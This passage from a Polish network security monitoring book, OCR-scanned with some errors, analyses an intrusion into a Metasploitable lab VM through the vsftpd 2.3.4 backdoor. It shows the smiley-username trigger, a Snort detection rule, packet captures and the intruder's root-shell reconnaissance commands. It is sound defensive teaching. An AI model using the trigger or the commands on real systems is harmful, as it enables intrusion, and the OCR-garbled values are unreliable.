sesji. Jedna z sesji charakteryzuje transfer duzej ilosci danych, dotyczacy portu
TCP 6200. Inna sesja (rekordy pokazujace aktywnosé dotyczaca portu TCP 21)
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- : __ SGUIL-0:8.08 Connected Tollocalhost W
File Query Reports Sound: Off Ser localhost U: sovm UserID: 2 2013-03-13 18:29:58 GMT|
RealTime Evemsw Escalated Euents\ Sancp Query 1 ]
Close |/ SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX -
Export (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10'} ) UNION { 9 Edit
Cnx ID 1t Time End Time e DPort E B
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2049 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191 192.168.3.5 2121 6 2 4 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 21 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 513 6 2 44 1 24
sovm-eth1 5.1362864...  2013-03-09 21:32:01 2013-03-0921:32:01  203.0.113.10 53191  192.168.3.5 53 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 3306 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:04 2013-03-09 21:32:04  203.0.113.10 53202 192.168.3.13 135 6 1 24 1 20
sovm-eth1 5.1362864...  2013-03-09 21:32:06 2013-03-0921:32:06  203.0.113.10 53203 192.168.3.13 135 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18  203.0.113.10 47963 192.168.3.5 8180 6 5 172 3 104
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18  203.0.113.10 56007 192.168.3.5 139 6 5 186 3 104
sovm-eth1 5.1362864...  2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 37519  192.168.3.5 5432 6 4 140 4 136
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 41514 192.168.3.5 8009 6 4 154 4 136
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 42810 192.168.3.5 6000 6 4 158 4 136
sovm-eth1 5.1362864...  2013-03-09 21:32:07 2013-03-0921:32:07 203.0.113.10 47085 192.168.3.5 22 6 5 168 3 142
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 50577 192.168.3.5 23 6 6 204 4 148
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:07 203.0.113.10 59270 192.168.3.5 5900 6 5 168 4 148
sovm-eth1 5.1362864...  2013-03-00 21:32:07 2013-03-0921:32:13  203.0.113.10 35347 192.168.3.5 1099 6 5 175 4 152
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 58931 192.168.3.5 2049 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:23  203.0.113.10 45304  192.168.3.5 513 6 5 188 5 169
sovm-eth1 5.1362864...  2013-03-00 21:32:07 2013-03-0921:32:13  203.0.113.10 37866 192.168.3.5 111 6 6 244 4 172
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 52693 192.168.3.5 512 6 4 168 5 172
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 44125 192.168.3.5 2121 6 6 204 4 192
sovm-eth1 5.1362864...  2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 38307 192.168.3.5 53 6 6 232 4 200
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 35387 192.168.3.5 514 6 4 154 5 207
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 46856  192.168.3.5 25 6 6 194 4 218
sovm-eth1 5.1362864...  2013-03-09 21:32:07 2013-03-0921:32:07 203.0.113.10 46866 192.168.3.5 21 6 6 176 5 228
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 51225 192.168.3.5 445 6 6 368 4 237
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 54794 192.168.3.5 3306 6 6 204 6 286
sovm-eth1 5.1362864...  2013-03-09 21:32:07 2013-03-0921:32:18  203.0.113.10 52157 192.168.3.5 1524 6 9 276 T 352 -
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 34202 192.168.3.5 6667 6 6 176 5 395
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 80 6 9 326 7 1305 |
- o

Rysunek 10.7. Konczy sie faza 4. rekonesansu, a rozpoczyna sie faza 5.

Kup ksigzke

wskazuje na aktywny kanal polecein FTP. Po obejrzeniu pieciu faz rekonesansu
prowadzonego z adresu 203.0.113.10, po ktérym nastapily skoncentrowane dzia-
tania dotyczace portéw TCP 21 i 6200, powinni§my sie dokladnie przyjrze¢ tym
ostatnim polaczeniom.

Powrét do danych alertow

Zbadajmy dwa alerty w konsoli Sguil. Jak pokazano na rysunku 10.9, widzimy
dwa niepokojace alerty: GPL ATTACK_RESPONSE id check returned root oraz ET
EXPLOIT VSFTPD Backdoor User Login Smiley. Pojawia sie takze dziwny alert
PADS New Asset - sql MySQL 3.0.20-0.lubuntul, a nastepnie dwa alerty ICMP.

Podswietlitem rekord dotyczacy alertu ET EXPLOIT, poniewaz ten alert wydaje
sie najbardziej jednoznaczny i wigze sie z uzyciem dosé znanego protokotu FTP.
Zaznaczona w konsoli Sguil opcja Show Packet Data (pokaz dane pakietu) ujawnia,
ze nazwa uzytkownika dostarczona do serwera FTP to 0M:), po ktérej nastepuja
znaki powrotu karetki (0D) i nowego wiersza (0A). (W protokole FTP te znaki koriczg
polecenia, co oznacza, ze zostaly przetransmitowane przez klienta FTP wtedy, kiedy
uzytkownik — albo narzedzie ataku — wprowadzil nazwe uzytkownika FTP).

Mozemy sprébowaé wygenerowaé transkrypt dla tego zdarzenia, klikajac
prawym przyciskiem myszy pole Alert ID i wybierajac opcje Transcript. Wynik
zostal pokazany na listingu 10.2.
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L . S ElRARe sl wlselies: L RHRSHERE
File Query Reports Sound: Off ServerName: localhost UserMame: sovm UserID: 2 2013-03-13 18:39:50 GMT]|
RealTime Evemsw Escalated Events’ Sancp Query 1 ]
Close |/ SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, i Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX 5
—IEKP‘]" (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10") ) UNICN { J Edit
D D T )
sovm-eth1 2013-03-09 21:33:43 2013-03-09 21:33:48 203, 52236 192.168.3.5 1524 6 e 219 5 196
sovm-eth1 2013-03-09 21:33:47 2013-03-09 21:33:57 203, 35460 192.168.3.5 514 6 5 179 5 219
sovm-eth1 2013-03-09 21:33:48 2013-03-09 21:33:53 203, 52238 192.168.3.5 1524 6 50 231 5 196
sovm-eth1 2013-03-09 21:33:52 2013-03-09 21:34:02 203, 35471 192.168.3.5 514 6 5 216 5 219
sovm-eth1 2013-03-09 21:33:53 2013-03-09 21:33:58 203, 52240 192.168.3.5 1524 6 8 300 6 349
sovm-eth1 2013-03-09 21:33:57 2013-03-09 21:34:07  203.0.113.10 35473  192.168.3.5 514 6 5 331 5 219
sovm-eth1 2013-03-09 21:33:58 2013-03-09 21:34:03  203.0.113.10 52242 192.168.3.5 1524 6 6 363 4 212
sovm-eth1 2013-03-09 21:34:02 2013-03-0921:34:12  203.0.113.10 35475  192.168.3.5 514 6 5 246 5 219
sovm-eth1 2013-03-09 21:34:03 2013-03-09 21:34:08  203.0.113.10 52244 192.168.3.5 1524 6 i 298 5 267
sovm-eth1 2013-03-09 21:34:07 2013-03-09 21:34:17  203.0.113.10 35477 192.168.3.5 514 6 5 174 5 219
sovm-eth1 3 ... 2013-03-00 21:34:08 2013-03-0921:34:13  203.0.113.10 52246  192.168.3.5 1524 6 8 258 6 251
sovm-eth1 5.1362864... 2013-03-09 21:34:12 2013-03-09 21:34:22  203.0.113.10 35479  192.168.3.5 514 6 5 164 5 219
sovm-eth1 5.1362864... 2013-03-09 21:34:13 2013-03-09 21:34:18  203.0.113.10 52248 192.168.3.5 1524 6 i 216 5} 278
sovm-eth1 5.1362864...  2013-03-0921:34:18 2013-03-09 21:34:18  203.0.113.10 524 192.168.3.5 513 6 3 148 3 104
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 395 192.168.3.5 111 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 719 192.168.3.5 11 6 6 244 4 164
sovm-eth1 2013-03-0921:34:18 2013-03-09 21:34:18  203.0.113.10 916 192.168.3.5 111 6 6 244 4 164
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 497 192.168.3.5 2049 6 6 244 4 172
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 927 192.168.3.5 1 6 6 244 4 172
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:28  203.0.113.10 277 192.168.3.5 514 6 4 180 4 187
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 647 192.168.3.5 2049 6 8 352 5 224
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 683 192.168.3.5 2049 6 8 352 5 224
sovm-eth1 2013-03-09 21:34:18 2013-03-0921:34:18  203.0.113.10 997 192.168.3.5 2049 6 8 352 5 224
sovm-eth1 2013-03-09 21:34:18 2013-03-09 21:34:48  203.0.113.10 853 192.168.3.5 1524 6 7 252 5 264
sovm-eth1 2013-03-09 21:38:38 2013-03-09 21:38:38  203.0.113.10 40206  192.168.3.5 6200 6 1 40 1 20
sovm-eth1 2013-03-09 21:38:38 2013-03-0921:43:38  203.0.113.10 50376  192.168.3.5 21 6 8 261 8 332
sovm-eth1 2013-03-09 21:38:38 2013-03-09 21:47:28  203.0.113.10 60155 192.168.3.5 6200 6 1317 65447 1449 355302
sovm-eth1 2013-03-09 21:46:37 2013-03-09 21:46:37  203.0.113.10 53633 192.168.3.13 6200 6 1 40 1 20
sovm-eth1 2013-03-09 21:46:37 2013-03-09 21:46:37  203.0.113.10 59237 192.168.3.13 6200 6 1 40 1 20
sovm-eth1 2013-03-09 21:46:37 2013-03-09 21:46:40  203.0.113.10 49220 192.168.3.13 21 6 10 305 9 414
sovm-eth1 2013-03-10 23:51:31 2013-03-10 23:51:37  192.168.3.5 1099 203.0.113.10 35347 6 6 192 o o J’
T £
Rysunek 10.8. Faza 5. rekonesansu korczy sie i wlamywacz atakuje ofiare
L 'SGUIL-0:8:0/- ConnectediTollocalhost: AN HEX
File Query Reports Sound: Off : localhost U : sovm  UserlD: 2 2013-03-13 18:54:48 GMT

RealTime Evenlsw Escalated Euentsw Sancp Query 1 W

=T Alert ID Date/Time SPort DPort | Pr g
1 4.83 2013-03-0921:32:17  203.0.113.10 192.168.3.5 6 PADS New Asset - unknown @mysq|
1 4.87 2013-03-0921:32:28  203.0.113.10 192.168.3.5 8180 6 PADS New Asset - http Apache Coyote 1.1
1 so.. 3.6012 2013-03-09 21:38:38  192.168.3.5 203.0.113.10 60155 6 GPL ATTACK_RESPONSE id check returned root
2 so 3.6011 2013-03-09 21:38:38  203.0.113.10 192.168.3.5 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
1 so.. 4.88 2013-03-0921:42:00 203.0.113.10 192.168.3.5 6200 6 PADS New Asset - sql MySQL 3.0.20-0.1ubuntul
2 so.. 3.6015 2013-03-1001:59:43 203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING *NIX J
2 so.. 3.6014 2013-03-1001:59:43  203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING BSDtype

% o v Show Packet Data v Show Rule
1P Resolution W Agent Status ]Snurtstatstm] System Msgs W
alert tcp S$EXTERNAL_NET any -> $HOME_NET 21 (msg:"ET EXPLOIT VSFTPD Backdoor User Login Smiley";
[ Reverse DNS [ Enable External DNS flow:established to_server; content:"USER "; depth:5; content:"|3a 29| "; distance:0;
[E— classtype:attempted-admin; sid:2013188; rev:4;)
I /nsm/server_data/securityonion/rules/sovm-eth1-1/downloaded.rules: Line 10562
Src Name:
e
Dst IP: SourceIP DestIP Ver HL TO5 len ID Flags Offset TTL ChkSum
el \203.0.113.10 [192.168.3.5 45 o 63 2332 o |63 [13128
Whois Query: = None  SrcIP  DstIP UAPRSF
Iy Source Dest RRRCSS5Y I
Port Port TOGKHTNN Seq# Ack#  Offset Res Window Urp ChkSum
50376 (21 | | |. [x[x|. |. |. [3850605801 [1889923740(8 0 [s13 o |ag7ss
55 53 45 52 20 30 4D 3A 29 0D OA USER OM:).. M
Search Packet Payload | " Hex ® Text [ NoCase

2

Rysunek 10.9. Dane alertéw programu Snort nastepujqgce po alertach dotyczqcych rekonesansu
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Listing 10.2. Transkrypt alertu ET EXPLOIT

Sensor Name:

Timestamp:

sovm-ethl-1
2013-03-09 21:38:38

Connection ID: .sovm-ethl-1 6011

Src IP:
Dst IP:
Src Port:
Dst Port:

203.0.113.100® (Unknown)
192.168.3.5@ (Unknown)
50376
21©

0S Fingerprint:  -> 192.168.3.5:21 (1ink: ethernet/modem)
DST: 220 (vsFTPd 2.3.4) ®

DST:

SRC: USER OM:) ©

SRC:

DST: 331 Please specify the password.

DST:

SRC: PASS azz @

SRC:

DST: 421 Timeout. @

DST:

Kup ksigzke

Powyzszy transkrypt pokazuje klienta 203.0.112.10 @ logujacego sie do
serwera FTP @ na porcie TCP 21 © hosta 192.168.3.5 @. Nazwa uzytkownika
to OM:) @, jak to zostato wezesniej odnotowane w alercie programu Snort. Klient
podaje hasto azz @, ale nie ma miejsca zadna komunikacja @. Co sie stalo potem
i co z polaczeniem dotyczacym portu TCP 62007

Przeglgdanie petnych danych za pomocq programu Tshark

W takich sytuacjach jak ta zalecam zbadanie oryginalnego ruchu sieciowego zare-
jestrowanego w postaci pelnych danych. Interesuje nas ruch wystepujacy w cza-
sie 2013-03-09 21:38:38 i dotyczacy portéw TCP 21 lub 6200. Mozemy odczy-
tywaé petne dane, zagladajac do odpowiedniego katalogu na sensorze o nazwie
sovm i obserwujac interfejs ethl. Wykonaj polecenie 1s, zeby zobaczyé nazwe pliku
zawierajacego pelne dane dostepne do przejrzenia, jak pokazano na listingu 10.3.

Listing 10.3. Znalezienie pefnych danych i uruchomienie programu Tshark

$ cd /nsm/sensor_data/sovm-ethl/dailylogs/2013-03-09

$ 1s

snort.log.1362864654

$ tshark -n -t ad -r snort.log.1362864654 tcp.port==21 or tcp.port==6200

Korzystamy z programu Tshark, poniewaz wyswietla domySlnie wiecej szcze-
g6t6w na poziomie protokoléw, dzieki czemu utatwia nam obserwacje tego, co
sie dzieje. Teraz przypatrzymy sie kazdej istotnej czesci tych szczegotow, fragment
po fragmencie. (Na poczatku zignorujemy ruch zwigzany z rekonesansem).

Listing 10.4 pokazuje pierwsze dwa interesujace nas pakiety.
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Listing 10.4. Host 203.0.113.10 prébuje sie potgczyc z portem TCP 6200 na komputerze
192.168.3.5, ale mu sie to nie udaje

6589 2013-03-09 21:38:38.159255 203.0.113.100® -> 192.168.3.5©

TCP 74 40206 > 62008 [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK PERM=1 TSval=695390
TSecr=0 WS=16

6590 2013-03-09 21:38:38.159451 192.168.3.5 -> 203.0.113.10

TCP 60 6200 > 40206 [RST, ACK] @ Seq=1 Ack=1 Win=0 Len=0

Na listingu 10.4 host 203.0.113.10 @ prébuje sie potaczy¢ z portem TCP 6200 @
na komputerze 192.168.3.5 ©, ale polaczenie sie nie udaje, poniewaz port TCP
6200 nie prowadzi nastuchu. Odpowiada pakietem z ustawionymi flagami RST
iACK @.

Listing 10.5 pokazuje, co sie dzieje potem.

Listing 10.5. Klient 203.0.113.10 loguje sie do serwera FTP na hoscie 192.168.3.5

6591 2013-03-09 21:38:38.160692 203.0.113.100® -> 192.168.3.5©

TCP 74 50376 > 21@® [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 TSval=695390

TSecr=0 WS=16

6592 2013-03-09 21:38:38.160702 192.168.3.5 -> 203.0.113.10

TCP 74 21 > 50376 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM=1

TSval=276175 TSecr=695390 WS=32

6593 2013-03-09 21:38:38.161131 203.0.113.10 -> 192.168.3.5

TCP 66 50376 > 21 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695390 TSecr=276175
6594 2013-03-09 21:38:38.162679 192.168.3.5 -> 203.0.113.10

FTP 86 Response: 220 (vsFTPd 2.3.4)
6595 2013-03-09 21:38:38.163164 203.0.113.10 -> 192.168.3.5

TCP 66 50376 > 21 [ACK] Seq=1 Ack=21 Win=14608 Len=0 TSval=695391 TSecr=276175
6596 2013-03-09 21:38:38.164876 203.0.113.10 -> 192.168.3.5

FTP 77 Request: USER OM:) @
6597 2013-03-09 21:38:38.164886 192.168.3.5 -> 203.0.113.10

TCP 66 21 > 50376 [ACK] Seq=21 Ack=12 Win=5792 Len=0 TSval=276175 TSecr=695391
6598 2013-03-09 21:38:38.164888 192.168.3.5 -> 203.0.113.10

FTP 100 Response: 331 Please specify the password.
6599 2013-03-09 21:38:38.166318 203.0.113.10 -> 192.168.3.5

FTP 76 Request: PASS azz®

Na listingu 10.5 widzimy, ze host 203.0.113.10 @ }aczy si¢ z uslugg FTP na
porcie TCP 21 @ komputera 192.168.3.5 ©. Widzimy réwniez, jak uzytkownik
0M:) @ loguje sie i podaje hasto azz . Listing 10.6 pokazuje konsekwencje zakon-
czonego sukcesem logowania.

Natychmiast, jeszcze przed zerwaniem polaczenia z serwerem FTPE, widzimy
nowe polaczenie wiodace od hosta 203.0.113.10 @ do portu TCP 6200 @ na kom-
puterze 192.168.3.5 ©. Tym razem, inaczej niz w sytuacji przedstawionej na lis-
tingu 10.4, port TCP 6200 nastuchuje i akceptuje polaczenie przez wystanie odpo-
wiedzi z flagami SYN i ACK @.
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Listing 10.6. Host 203.0.113.10 tgczy sie z portem TCP 6200 na komputerze 192.168.3.5

6600 2013-03-09 21:38:38.166971 203.0.113.10u -> 192.168.3.5w

TCP 74 60155 > 6200v [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK PERM=1 TSval=695392
TSecr=0 WS=16

6601 2013-03-09 21:38:38.166978 192.168.3.5 -> 203.0.113.10

TCP 74 6200 > 60155 [SYN, ACK] x Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM=1
TSval=276175 TSecr=695392 WS=32

6602 2013-03-09 21:38:38.168296 203.0.113.10 -> 192.168.3.5

TCP 66 60155 > 6200 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695392 TSecr=276175

6603 2013-03-09 21:38:38.168738 203.0.113.10 -> 192.168.3.5

TCP 69 60155 > 6200 [PSH, ACK] Seq=1 Ack=1 Win=14608 Len=3 TSval=695392 TSecr=276175

6604 2013-03-09 21:38:38.168775 192.168.3.5 -> 203.0.113.10

TCP 66 6200 > 60155 [ACK] Seq=1 Ack=4 Win=5792 Len=0 TSval=276175 TSecr=695392

... wycieto . . .

Kup ksigzke

Ta sekwencja zdarzen pokazuje, ze port TCP 6200 nie akceptowal aktywnie
polaczen, dopoki uzytkownik 203.0.113.10 nie zalogowal sie do serwera FTP i nie
dostarczyl wlasciwej nazwy uzytkownika i hasta.

Wyjasnienie dziatania furtki

Ten wzorzec zachowania wskazuje, ze serwer FTP na komputerze 192.168.3.5
zawieral w swym kodzie furtke oczekujaca na pewng nazwe uzytkownika i haslo.
W naszym przypadku widzielismy uzytkownika OM:) i hasto azz.

Okazuje sie, ze na komputerze 192.168.3.5 byla uruchomiona wersja serwera
FTP o nazwie vsftpd, ktéra zawierata nieautoryzowana furtke, o czym informowat
w lipcu 2011 r. twérca serwera vsftpd Chris Evans (http://scarybeastsecurity.
blogspot.com/2011/07Jalert-vsftpd-download-backdoored.html). Post na blogu nie
zawiera zadnych szczegotéw wyjasniajacych, jak furtka zostata wprowadzona do
kodu, ale — jak by nie bylo — efektem konicowym byla dostepnos$é oprogra-
mowania, ktére zawieralo powazng wade z punktu widzenia bezpieczenistwa.
Uzytkownicy, ktérzy wprowadza nazwe uzytkownika zakoriczong usmiechnieta
buzkg — taka jak :) — uzyskaja mozliwos¢ polgczenia sie z furtkg na serwerze FTP.
Rysunek 10.10 podsumowuje te sytuacje i dodaje specyficzne szczegdly dotyczace
tego przypadku.

Dlaczego rekordy dotyczace portu TCP 6200 sa wySwietlane przed zakon-
czonym sukcesem wykorzystaniem luki w serwerze FTP? Jak widzielismy w pel-
nych danych zaprezentowanych przez Tshark, polgczenie FTP mialo miejsce
przed potaczeniem z furtka. Widocznie narzedzia uzywane do rejestrowania
danych alertéw i danych sesji nie potrafity rozr6znié¢ czaséw poczatkowych tych
polaczen i zarejestrowaly je w niewlasciwym porzadku. Zdarza sie to od czasu
do czasu przy wykonywaniu operacji NSM. Wystepowanie tego zjawiska jest
argumentem na rzecz idei zbierania wielu typéw danych NSM. Kiedy co$ nie
wyglada catkiem prawidlowo, mozesz por6wnaé dane r6znych typ6w, zeby ustalié
z wieksza pewnoscia, co sie naprawde zdarzylo.
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1. Wltamywacz inicjuje atak na dostepna w internecie i zawierajaca
luki bezpieczeristwa aplikacje na systemie ofiary

Wiamywacz POLACZENIE SIECIOWE z portem TCP 21 Ofiara
203.0.113.10 192.168.3.5

2. Metoda ataku polega na wykorzystaniu
luki bezpieczenstwa w aplikacji na systemie
ofiary w celu wykonania kodu lub polecen

Luka
bezpieczenstwa
wvsftpd
wykorzystana

Uzytkownik ©M:)
Hasto azz

Wiamywacz  POLACZENIE SIECIOWE z portem TCP 6200 —

203.0113.10 . 192.168.3.5

3. Ztodliwy kod wspoldziata z wlamywaczem:
wlamywacz inicjuje nowe potaczenie z furtka
utworzona przez ztosliwy kod

Rysunek 10.10. Atak po stronie serwera z wykorzystaniem luki bezpieczenstwa
w serwerze vsftpd

Co zrobit wtamywacz?

Po uzyskaniu potwierdzenia, ze mialo miejsce zlosliwe dzialanie, musimy ocenié
jego konsekwencje. Scenariusz ten wydaje sie przynajmniej incydentem kate-
gorii Breach 3, poniewaz wlamywacz ustanowil kanal C2 Iaczacy jego komputer
z ofiarg. W jaki spos6b mozemy sie dowiedzie¢, jak zle wyglada sytuacja?

Widzielismy alert GPL ATTACK RESPONSE wskazujacy, ze sprawdzenie ID uzyt-
kownika dalo odpowiedz ,root” (id check returned root). Wiemy tez, ze port
TCP 6200 to kanal C2. Moglibysmy sie dowiedzieé¢, co robi wtamywacz, przez
wygenerowanie transkryptu tego polaczenia, wykorzystujac do tego albo alert
GPL ATTACK RESPONSE, albo dane sesji dotyczace polgczenia nawigzanego przez
host 203.0.113.10 z portem TCP 6200 na komputerze 192.168.3.5. Mozemy
zbadaé szczegétowo zawarto$é tej sesji przez wygenerowanie transkryptu, jak
zobaczysz w ponizszym podpunkcie. To badanie powinno daé¢ nam wieksze poje-
cie 0 tym, co robi wlamywacz.

Poczqgtkowy dostep

Transkrypt dotyczacy dziatanh w ramach polgczenia nawigzanego przez kompu-
ter 203.0.113.10 z hostem 192.168.3.5, przedstawiony na listingu 10.7, poka-
zuje r6znego rodzaju zdarzenia. Nie mozemy rozstrzygnaé, czy wlamywacz
prowadzi interakcje z zaatakowanym systemem na zywo, czy wykonuje zauto-
matyzowany atak, chociaz tym, co ma znaczenie, sg konsekwencje tych dziatan.
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Listing 10.7. Poczqtek transkryptu pokazujqcego aktywnosc wystepujgcq w potgczeniu nawiqgzanym
przez komputer 203.0.113.10 z hostem 192.168.3.5

Sensor Name: sovm-ethl-1

Timestamp: 2013-03-09 21:38:38
Connection ID: .sovm-ethl-1_6012

Src IP: 203.0.113.100® (Unknown)
Dst IP: 1 92.168.3.5@ (Unknown)
Src Port: 60155

Dst Port: 6200

0S Fingerprint: 203.0.113.10:60155 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:2:?] (up: 1 hrs)
0S Fingerprint: -> 192.168.3.5:6200 (link: ethernet/modem)

SRC: id®

DST: uid=0(root) gid=0(root) @

SRC: nohup >/dev/null 2>8&1

SRC: echo T33KwxKuFgj4Uhy7

DST: T33KwxKuFgj4Uhy7

SRC: whoami®

DST: root®

SRC: echo 3816568630;echo hJZeerbzDFqlJEwWx1yePw0zBhEhQYbN
DST: 3816568630

DST: hJZeerbzDFqlJEwWx1yePwOzBhEhQYbN

SRC: id -u@ ;echo idGIIxVuiPbrznIwlhwdADgMpAAyLI1j®©
DST: 0©

DST: idGIIxVuiPbrznIwlhwdADgMpAAyLITj

Pierwsza czes$é transkryptu pokazuje warto$é¢ 203.0.113.10 @ jako zrédlowy
(SRC) adres IP i wartos¢ 192.168.3.5 @ jako docelowy (DST) adres IP. Wlamy-
wacz lub kod wykonywany przez wlamywacza uruchamia polecenie systemu
Unix id ® w celu ustalenia uprawnien, jakie kanat aktualnie zapewnia. Otrzy-
many wynik wskazuje, ze jest to konto poziomu root @. Widzimy prébe potwier-
dzenia konta uzytkownika za pomoca polecenia whoami © i odpowiadajacy jej
wynik: root @. Teraz, uzywajac polecenia id z opcja -u @, wlamywacz poznaje
efektywny identyfikator uzytkownika réwny 0 @, co znowu wigze sie z doste-
pem wlasciwym dla roota. Wyglada na to, ze wlamywacz lub jego skrypt uzywa
instrukcji echo z dlugimi ciggami znakéw @ w roli argumentéw, aby zaznaczyé
pewne miejsca w strumieniu dzialani w systemie.

Zebranie informac;ji o ofierze
Dalszy ciag transkryptu zostal pokazany na listingu 10.8. Po wykonaniu kilku
podstawowych polecenn wlamywacz zuzywa wiecej czasu na poznanie ofiary.

Listing 10.8. Zebranie informacji o ofierze

SRC: /usr/sbin/dmidecode® j;echo WqyRBNDvoqzwtPMOWXAZNDHVcgKrjVOA
DST: # dmidecode 2.9

DST: SMBIOS 2.4 present.

DST: 364 structures occupying 16040 bytes.

Naruszenie bezpieczenstwa po stronie serwera 275

Kup ksigzke Pole¢ ksiazke


http:/helion.pl/rt/wykreg
http:/helion.pl/rf/wykreg

DST:

Table at 0x000E0010.

... wycieto . . .

DST:
DST:
DST:
SRC:
DST:
DST:
DST:
DST:
DST:

Handle 0x016B, DMI type 127, 4 bytes

End Of Table

WqyRBNDvoqzwt PMOWXAZNDHVcqKrjVOA

1s /etc® ;echo PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
X11

adduser.conf

adjtime

aliases

aliases.db

... wycieto . . .

DST:
DST:
DST:
DST:
DST:
DST:
SRC:
DST:
1686
DST:
SRC:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
SRC:
DST:
DST:

wgetrc

wpa_supplicant

xinetd.conf

xinetd.d

zsh_command_not_found

PZhfAinSgdJcyhYaCgAcFDjvciEFALXs

uname -a® ;echo gSQsJbnmNmNLEQETLTNRfxfLUQNndGaS

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
GNU/Linux®

gSQsJbnmNmNLEQETLTNRfxfLUQNndGaS

cat '/etc/issue'®;echo KoDdtYNGYWHGPIKHITZtMAYrhsyckIIC

| ' _\/

LT

0 I O A .
I

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started®

KoDdt YNGYWHGPIKHITZtMAYrhsyckIIC

hostname® ;echo SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ

metasploitable

SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ

Wihamywacz lub jego skrypt zbiera informacje o réznych aspektach systemu
ofiary. Rozpoczyna od polecenia dmidecode @, aby dowiedzieé sie wiecej o samej
platformie. Nastepnie pobiera listing katalogu /etc @, w ktérym znajduja sie
kluczowe pliki konfiguracyjne systemu. Uzywajac polecenia uname ©, odkrywa,
jaka wersja jadra @ pracuje w systemie. Wyswietlenie zawartosci pliku issue ©
pokazuje tekst, ktéry pojawia sie po zalogowaniu sie uzytkownika @. W koiicu
wlamywacz odczytuje nazwe hosta @ ofiary. System operacyjny hosta to dystry-
bucja Linuksa o nazwie Metasploitable, bedaca narzedziem stuzacym do nauki
cyfrowego ataku i obrony, opracowana przez zesp6t projektu Metasploit firmy
Rapid7 (http://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
Obronicy uzywaja systemu Metasploitable do szkolenia sie, gdy wykonuja dia-
gnozy stanu bezpieczenistwa, poniewaz Metasploitable zawiera same luki bez-
